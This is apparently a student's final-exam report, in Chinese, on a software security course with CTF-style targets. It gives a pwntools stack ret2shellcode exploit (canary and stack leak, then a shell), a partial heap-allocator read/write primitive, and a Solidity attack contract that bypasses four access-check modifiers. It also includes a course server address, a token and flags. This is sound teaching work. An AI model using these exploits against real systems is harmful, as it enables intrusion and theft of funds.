Skip to content

Final: 期末测试

:material-circle-edit-outline: 约 1808 个字 :fontawesome-solid-code: 131 行代码 :material-clock-time-two-outline: 预计阅读时间 8 分钟

[!ABSTRACT]

俞仲炜 3220104929 250107

01 - stack final (30 pts)

[!NOTE]

本题需要通过 ret2shellcode 来进行利用

远程环境位于: IP: 8.154.20.109, PORT: 10601

分值说明 (30 pts) :

  • 成功获取 canary 内容 (10 pts)
  • 成功泄漏栈地址 (10 pts)
  • 成功跳转到 shellcode 并获取 shell,执行 flag.exe 获取 flag (10 pts)

检查目标文件

image-20250112222036498

  1. 有 canary
  2. stack 可执行

泄露 canary

在本地通过 sendline 给目标程序提供写入 buffer 的 payload,从 19*"A" 开始一个个测试,每次增加一个 "A",发现增加到 24*"A" 时接收到了如下内容:

image-20250113220503440

说明此时 sendline 的最后一个字符 回车 \xa 已经覆盖到了 canary 最低处固定存在的 \x00

从此处开始截取的 8 byte 即我们需要的 canary 的值(注意要减去 0xa

泄漏栈地址

old rbpmain 函数的栈基地址,也就是我们要找到栈地址,其紧挨着 canary 高处,故在泄露 canary 的同时也泄露了栈地址,观察上图发现 old rbp 只有 6 byte,可知其最高的两个 byte 为 \x00

泄露 canary 和栈地址相关代码如下:

p.sendline(b"A" * 24)
p.recvuntil(b"A" * 24)
canary = u64(p.recv(8)) - 0xa
old_rbp = u64(p.recv(6) + b"\x00\x00")

获取 shell

我们现在希望往 stack 上塞一坨拿 shell 的指令,并通过覆盖 ret addr 使得执行流走到 stack 以执行这坨指令

首先需要保证 canary 完好无损,将获取的 canary 值原封不动地覆盖即可

然后要在栈上找一块地方放 shellcode,由于 buffer 大小不够,我们只能另外找地方;调试时发现,welcomeold rbp 正好指向 ret addr 高处,推测是由于 stackload 的函数调用关系为 main -> welcome,而 main 函数的 stack 本身并不需要存储 old rbpret addr,其本身也没有使用任何本地变量,至于 canary,说是 “如果没有禁用” 应该是有的,至于为什么这里没有就不得而知了

但无论如何,我们找到了一块可以塞 shellcode 的地方,起始地址就是我们获取的 old rbp 的值,故只需覆盖 ret addrold rbp,并紧随其后塞 shellcode 即可,在 welcome 函数 return 时就会将执行流劫持到 shellcode 上

获取 shell 相关代码如下:

shellcode = asm(shellcraft.sh())

payload = b"A" * 24
payload += p64(canary)
payload += p64(old_rbp)
payload += p64(old_rbp)
payload += shellcode

p.sendline(payload)

print(p.recv())

payload = b"goodbye stack"
p.sendline(payload)

print(p.recv())

p.interactive()

flag 截图

image-20250113224929272

3@5Y!

02 - heap final (30 pts) + (20 pts bonus)

[!NOTE]

  • 通过逆向的方式找到堆管理器中存在的问题并描述在报告中 (15 pts)
  • 借助 lab-03 中的技巧,完成漏洞利用的主要 primitive/原语 (15 pts)
  • 完成弹 shell,执行 flag.exe 取得 flag (20 pts bonus)

通过逆向的方式找到堆管理器中存在的问题并描述在报告中

通过 IDA 逆向 libtiny.so,注意到函数名列表出现了 bitmap 关键字,在操作系统课程里学过,是用一串 bit 来分别记录各个 frame/page 是否 free 的方法

观察 tiny_alloc 函数,发现堆空间分配的方式是将空间划分为多种固定的大小,根据申请的大小落在哪个区间来决定要分配多大的堆空间

image-20250115181133096

再观察 tiny_alloc_align 函数,发现其通过 bitmap 寻找某类堆空间的空闲空间,每类空间的 bitmap 都有 32 bit,且连续地存储在同一个数组 tinymap

image-20250115180841898

注意到其通过一个循环来检查该类 bitmap 的每一个 bit,用变量 i 来记录空闲的那一个 bit 位置,但是却没有考虑边界情况,即如果同一类的 32 个空间都不空闲时,那么 i 经过循环后就会被设置为 32,并且不会引发错误

而且,边界情况下每次申请得到的 i 都是 32,也就是说,申请到的空间是同一个

infointro 大小落在同一个区间,都会被分配 0x80 的空间,所以我们可以先申请一个 info,使其 intro 被分配为这第 33 个空间,然后再让另一个 info 也被分配到这个空间,这样就能通过第一个 info 直接修改第二个 infointro 指针指向的地址

如此,通过修改第一个 infointro 就能实现读取或特定地址的数据

借助 lab-03 中的技巧,完成漏洞利用的主要 primitive/原语 (15 pts)

没能完成,用 03-ethereum final 的 bonus 30pt 填补 T-T 实在抱歉

for i in range(31):
    handle_add(b"user", b"pwd", b"intro", b"motto")

user_idx1 = handle_add(b'user1', b'pwd1' b"intro", b"motto")
user_idx2 = handle_add(b'user2', b'pwd2' b"intro", b"motto")

# read
target_addr = b"0x114514"

payload = b""
payload += b"A" * 0x40
payload += target_addr

handle_edit(user_idx1, b"pwd1", b"user1", payload, b"motto1")
handle_show(user_idx2, b"pwd2")

# write
target_addr = b"0x114514"
target_data = b"1110001"

payload = b""
payload += b"A" * 0x40
payload += target_addr

handle_edit(user_idx1, b"pwd1", b"user1", payload, b"motto1")

payload = target_data

handle_edit(user_idx2, b"pwd2", b"user2", payload, b"motto2")

p.interactive()

03 - ethereum final (40 pts) + (30 pts bonus)

[!TIP]

自行学习:

  1. solidity 的 modifier、unchecked 等语法;
  2. msg.sender 和 tx.origin 的具体含义;
  3. extcodesize 的含义和该限制的绕过方法;

在 Solidity 中,modifier(修饰符)是一种用于修改函数行为的代码块,可以在函数执行前或执行后添加额外的逻辑;_ 表示函数主体将在此处执行

[!NOTE]

完成 4 个 modifier 的绕过,编写利用代码,四个 modifier 分别占 10 分。(40 pts)

modifier 1

modifier mod1() {
    require(msg.sender != tx.origin);
    _;
}
  • msg.sender 是当前调用者的地址
  • tx.origin 是最初发起交易的 EOA 账户地址

绕过思路

创建一个中间合约,通过这个中间合约来调用目标合约,使得 msg.sender 为中间合约的地址,tx.origin 是最初发起交易的 EOA 账户地址

modifier 2

modifier mod2() {
    uint x;
    assembly {
        x := extcodesize(caller())
    }
    require(x == 0);
    _;
}
  • extcodesize 是 EVM 的一个指令,用于获取指定地址的代码大小
  • caller() 是一个内联汇编指令,返回当前调用者的地址(与 msg.sender 类似)

要求调用者的代码大小为 0,即,调用者必须是一个 EOA 账户,而不是合约账户

绕过思路

只有当合约的构造函数执行完成,合约代码才会保存下来

如果攻击合约在构造函数中进行跨合约调用,那么此时的 extcodesize 返回的关联地址代码长度也为 0,即可判定为 EOA 账户

绕过代码

contract Exploit {
    ...
    constructor(address _targetAddress) {
        target = Final(_targetAddress);
        bytes8 _key = calculateKey();
        uint256 _guess = calculateGuess();
        target.play(_key, _guess);
    }
    ...
}

modifier 3

modifier mod3(bytes8 _key) {
    unchecked {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_key) == uint64(0) - 1);
    }
    _;
}
  • unchecked 是关键字,禁用代码块内的溢出和下溢检查
  • keccak256 用于计算输入数据的 Keccak-256 哈希值
  • abi.encodePacked 用于将输入数据编码为紧凑的字节数组
  • msg.sender 表示当前调用者的地址

即,keccak256(abi.encodePacked(msg.sender)) 计算当前调用者地址的哈希值

  • ^ 是按位异或运算符

综上,该 modifier 要求:当前调用者地址的哈希值 异或 _key 的结果 bit 全为 1

绕过思路

只需要计算出满足上述条件的 _key 即可,已知: A xor B = C --> B = A xor C

绕过代码

function calculateKey() view public returns (bytes8) {
    unchecked {
        return bytes8((uint64(0) - 1) ^ uint64(bytes8(keccak256(abi.encodePacked(address(this))))));
    }
}

modifier 4

modifier mod4(uint256 _guess) {
    bytes32 entropy1 = blockhash(block.number);
    bytes32 entropy2 = keccak256(abi.encodePacked(msg.sender));
    bytes32 entropy3 = keccak256(abi.encodePacked(tx.origin));
    bytes32 target = keccak256(abi.encodePacked(entropy1 ^ entropy2 ^ entropy3));
    bytes32 guess = keccak256(abi.encodePacked(_guess));
    require(target == guess);
    _;
}
  • blockhash 是一个函数,用于获取指定区块的哈希值
  • block.number 是当前区块的编号
  • entropy1 存储当前区块的哈希值
  • entropy2 存储当前调用者地址的哈希值
  • entropy3 存储最初发起交易的 EOA 账户地址的哈希值
  • target 存储三个 entropy 异或结果的哈希值
  • guess 存储 _guess 的哈希值

绕过思路

只需要反向计算出满足条件的 _guess 即可

绕过代码

function calculateGuess() view public returns (uint256) {
    bytes32 entropy1 = blockhash(block.number);
    bytes32 entropy2 = keccak256(abi.encodePacked(address(this)));
    bytes32 entropy3 = keccak256(abi.encodePacked(tx.origin));
    bytes32 targetHash = entropy1 ^ entropy2 ^ entropy3;
    return uint256(targetHash);
}

[!NOTE]

完成最终的合约攻击并拿到 flag,并在实验报告中描述你的思路、攻击方法,粘贴你的目标合约地址、flag、攻击合约源码即可拿到全部分数。(30 pts bonus

思路、攻击方法已在上文描述

目标合约地址

0xf0242dF817Bf3E1655D3adf3c26fa41630426E03

Tolen

v4.local.nT_cbKupnjmkAdgHW3POUCVGm6UmvZJsgS0LRiNRtjz-WdbwXblwBOJdIdv6LL_48CMkV10wtUFTqJwzocwi-50VMXMkv1sZ8jV3R3BfrBvJOO6BtJqbLQBR0g2pm4uRU2rKTO1EjOxZPAiii-dUYU7IQpfJJ0u8614yY3Gpi_s76Q

Flag

image-20250114125316863

Re@11y eNjOyed, 7hAnk5!

攻击合约源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./source.sol";

contract Exploit {
    Final target;

    constructor(address _targetAddress) {
        target = Final(_targetAddress);
        bytes8 _key = calculateKey();
        uint256 _guess = calculateGuess();
        target.play(_key, _guess);
    }

    function calculateKey() view public returns (bytes8) {
        unchecked {
            return bytes8((uint64(0) - 1) ^ uint64(bytes8(keccak256(abi.encodePacked(address(this))))));
        }
    }

    function calculateGuess() view public returns (uint256) {
        bytes32 entropy1 = blockhash(block.number);
        bytes32 entropy2 = keccak256(abi.encodePacked(address(this)));
        bytes32 entropy3 = keccak256(abi.encodePacked(tx.origin));
        bytes32 targetHash = entropy1 ^ entropy2 ^ entropy3;
        return uint256(targetHash);
    }
}